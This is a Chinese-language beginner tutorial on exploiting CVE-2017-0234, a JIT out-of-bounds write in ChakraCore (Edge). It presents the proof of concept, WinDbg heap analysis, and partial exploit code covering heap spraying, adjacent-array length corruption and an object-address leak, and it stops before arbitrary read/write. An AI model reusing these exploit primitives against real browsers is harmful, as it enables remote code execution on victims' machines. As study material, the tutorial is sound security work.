Edge 零基础漏洞利用

阅读量    133208 | 评论 5   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

背景阐述

自2007举办至今,在pwn2own的比赛中,浏览器一直是重头戏。观看比赛的同时,相信好多小伙伴已经跃跃欲试了。但你还记得有多少次信心满满,最后又都暂且搁置了呢?文章主要针对浏览器漏洞利用零基础的人群,笔者详细记录了在漏洞利用过程走过的一些坑与总结的技巧。最终达到在解决一些共有的痛点的同时,重新恢复大家漏洞利用的信心,毕竟哪位伟人曾经曰过:信心比黄金还宝贵。

 

文章目标

看着大佬的花式炫技,就是无从下手怎么办?眼看千遍,不如动手一遍。毕竟眼见为实,也更加有趣。勤动手操作,零基础在浏览器中稳定的弹出第一个计算器!

 

动手实战

这里以 CVE-2017-0234为例,ch 的版本为:v1.4.3。poc 文件如下:

function jitBlock(arr, index)
{   
    arr[index] = 0xdeedbeef;
}

var arr = new Uint32Array(0x40000/4)

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0)
}

jitBlock(arr, 0x7fffffff)

windbg 中运行 poc 后,得到如下crash信息:

对比 js 文件与汇编,我们很容易发现 rbx 寄存器代表整个 typearray, r14 代表数组的索引。漏洞原因:jit 代码生成时,过度优化导致的数组越界访问。

 

背景知识

我们现在只知道这个洞可以越界写,那么怎么把这个洞利用起来呢?回答这个疑问,需要解决一些基础问题:

1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?
2. 分配的大小是否任意值?
3. 漏洞对象分配由于内存对齐等原因,实际占有多大空间?

我们挨个解决上述问题。

1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?

解决这个问题,方便我们决定用哪个对象把越界区域占住。

首先模糊匹配系统中有哪些 alloc 相关的api。

> x kernel32!virtual*
00007ff8`fc40b0d0 KERNEL32!VirtualQueryStub (<no parameter info>)
00007ff8`fc40a2a0 KERNEL32!VirtualAllocStub (<no parameter info>)
00007ff8`fc4273e0 KERNEL32!VirtualProtectExStub (<no parameter info>)
00007ff8`fc40b0b0 KERNEL32!VirtualProtectStub (<no parameter info>)
00007ff8`fc40ba70 KERNEL32!VirtualUnlockStub (<no parameter info>)
00007ff8`fc4105b0 KERNEL32!VirtualAllocExNumaStub (<no parameter info>)
00007ff8`fc40a2c0 KERNEL32!VirtualFreeStub (<no parameter info>)
00007ff8`fc4273c0 KERNEL32!VirtualAllocExStub (<no parameter info>)
00007ff8`fc40b0a0 KERNEL32!VirtualQueryExStub (<no parameter info>)
00007ff8`fc4273d0 KERNEL32!VirtualFreeExStub (<no parameter info>)
00007ff8`fc40ed20 KERNEL32!VirtualLockStub (<no parameter info>)

把关键 api 的参数及返回值打印出来

> bu KERNELBASE!VirtualAlloc      ".if(@rdx>=0x40000){.printf "addr=%p size=%p\n ",rcx, rdx; gc} .else{gc}"
> bu KERNELBASE!VirtualAlloc+0x5a ".if(1==2){} .else{.printf "ret=%p \n",rax;gc}"

重新运行后,可以确定 arr 数组确实是由 VirtualAlloc 分配,有两处与之相关的分配记录,分配的地址相同,大小不一样,感兴趣的同学可以继续把 VirtualAlloc的其他参数打印出来。至于为什么同一个地址进行两次分配,这个问题我们放在后面统一释疑,目前只关注漏洞利用本身。

2. 分配的大小是否任意值?

要提高漏洞利用的成功率,首先需要确保漏洞的稳定复现。这里先使用结论,原因同上,释疑放在后面。

> bu chakracore!Js::JavascriptArrayBuffer::IsValidVirtualBufferLength

/*
  1. length >= 2^16
  2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
  3. length is a multiple of 4K
*/

分配的长度需要同时满足上述的条件,所以 len >= 2^(16+n) or > 2^(24+n)。 [这里 n 满足非负整数]

所以满足条件的最小len为 2^16 = 0x10000

3. 漏洞对象分配由于内存对齐,实际占有多大空间?

windbg 的 address 命令可以解决这个疑问。

000001c3`21cc00d2 42893cab        mov     dword ptr [rbx+r13*4],edi ds:000001c2`21c9fffc=????????
0:003> !address rbx

Usage:                  <unknown>
Base Address:           000001c0`21ca0000
End Address:            000001c0`21cb0000
Region Size:            00000000`00010000 (  64.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        000001c0`21ca0000
Allocation Protect:     00000001          PAGE_NOACCESS

Content source: 1 (target), length: 10000

0:003> !address 000001c0`21cb0000

Usage:                  <unknown>
Base Address:           000001c0`21cb0000
End Address:            000001c1`21ca0000
Region Size:            00000000`ffff0000 (   4.000 GB)
State:                  00002000          MEM_RESERVE
Protect:                <info not present at the target>
Type:                   00020000          MEM_PRIVATE
Allocation Base:        000001c0`21ca0000
Allocation Protect:     00000001          PAGE_NOACCESS

Content source: 0 (invalid), length: ffff0000

两部分总计的内存为:0xffff0000 + 0x10000 = 0x100000000=4G,调整 poc 实际验证下:

function jitBlock(arr, index, value)
{   
    arr[index] = value;
}

var arr = new Uint32Array(0x40000/4);
var spray_arr = new Uint32Array(0x40000/4);

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0, 0x41414141);  // force jit 
}

jitBlock(spray_arr, 0,  0x42424242);

结论: 内存数据喷射可以选择 obj 为:Uint32Array,两个Uint32Array相隔距离为:0x100000000。

 

Exp 部分开始

在获得上述背景知识后, 我们可以立即进入Exp了。这部分最为精彩,也请感兴趣的读者动手操作起来。

1 – 越界写 to 越界读写

单纯的越界写对象的数据部分没有多大意义,我们需要修改一个对象的头信息,也就是对象的元数据。修改的目的是:让对象获得比之前更大的空间访问能力(越界读写)。

这里继续修改 poc:

function jitBlock(arr, index, value)
{   
    arr[index] = value;
}

var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0, 0x41414141);  // force jit 
}

jitBlock(spray_arr, 0,  0x42424242);

这里我们看到 spray_arr 的元数据在 arr 之后,用 windbg 帮我解析下数据的格式:

> dx -r1 ((chakracore!Js::SparseArraySegmentBase *)0x1b19d0c0020)

对照 上图, spray_arr 的元数据开始于0x1b19d0c0020, left 为0, length 为 0x1(代表当前 segment 初始化了一个元素 0x42424242), size 为 0x10002。

为了让 spray_arr 数组获得越界读写的能力, 需要 arr 数组越界写掉它的 length 和 size 和两个域。

调整poc 如下:

function jitBlock(arr, index, value)
{   
    arr[index] = value;
}

var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0, 0x41414141);  // force jit 
}

jitBlock(spray_arr, 0,  0x42424242);

var spray_arr_len_index = (0x100000000 )/4 +9;
var spray_arr_size_index = (0x100000000 )/4+ 10;
jitBlock(arr, spray_arr_len_index, 0x7fffffff);
jitBlock(arr, spray_arr_size_index, 0x7fffffff);

length 和 size 顺利被修改。至此, 越界写已经顺利转化为越界读写。

2 – 越界读写 to 任意地址读写

任意地址读写需要 fake 一个 DataView , 首先需要一个泄漏任意地址的原语。还记得我们当初的目标吗?“零基础在浏览器中稳定的弹出第一个计算器”,对吧?我们这里重构一下代码,以便稳扎稳打的进行后面的环节。

function log(str){
    print(str);
}

function jitBlock(type_arr, index, value)
{   
    type_arr[index] = value;
}

function force_jit(){   
    var arr = new Uint32Array(0x40000/4);

    for(var i=0; i < 0x10000; i++){
        jitBlock(arr, 0, 0x41414141);
    }
}

force_jit();

function oob_write(arr, index, value){
    jitBlock(arr, index, value); 
}

//arr  : @typearray
//index: @int [0 - 0xffffffff]
//value: @int [0 - 0x7fffffff]
//export API : oob_write 


// let us spray it

let fill_vec = new Array();
var fill_len = 0x1000;
var vul_arr;
var int_arr;
var obj_arr;

for (var i=0; i< fill_len; i++){

    vul_arr = new Uint32Array(0x40000/4);
    vul_arr[0] = 0;

    int_arr = new Array(0x40000/4);
    // int_arr[0] is a hole for OOB write
    // int_arr[1] is a flag "OWN"  0x4e574f, to construct "PWN2OWN"
    int_arr[1] = 0x4e574f; 

    oob_write(vul_arr, 0x100000000/4 + 14, 0x324e5750);   // OOB write "PWN2" 0x324e5750

    if( 0x324e5750 == int_arr[0]){
        log("found it:"+ i);
        // new obj arr to leak addresss
        obj_arr = new Array(0x40000/4);
        obj_arr[0] = obj_arr;       
        break;
    }

}

function modify_oob_arr_attri(new_capacity){
    var arr_len_index  = 0x100000000/4 + 9;
    var arr_size_index = 0x100000000/4 + 10;
    oob_write(vul_arr ,arr_len_index, new_capacity);
    oob_write(vul_arr ,arr_size_index, new_capacity);
    int_arr.length = 0xffff0000;
}

modify_oob_arr_attri(0x7fffffff);

这里借助 vul_arr 的越界写,修改后面的 int_arr 的内存,如果 int_arr 读出该越界写的数据,则判断数据喷射成功,否则进行下一次尝试。obj_arr 用作存储任意 obj 的地址, int_arr 越界读取obj的地址。以下操作即可泄漏出任意 obj 的地址。

function leak_obj_addr(obj){
    obj_arr[0] = obj;
    var addr_high_index = 0x50000/4 + 1; 
    var addr_low_index  = 0x50000/4;

    var tmp = new Uint32Array(2);
    tmp[0] = int_arr[addr_high_index];
    tmp[1] = int_arr[addr_low_index];

    var addr = tmp[0]*0x100000000 + tmp[1];
    return addr;    
}

接下来需要 fake 一个 DataView 来完成任意地址读写,怎么样才能稳定的 fake 一个DataView呢?需要再次数据喷射吗, 还是有其他技巧?详细篇幅有点长,我们把内容放在第二篇文章,敬请期待。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多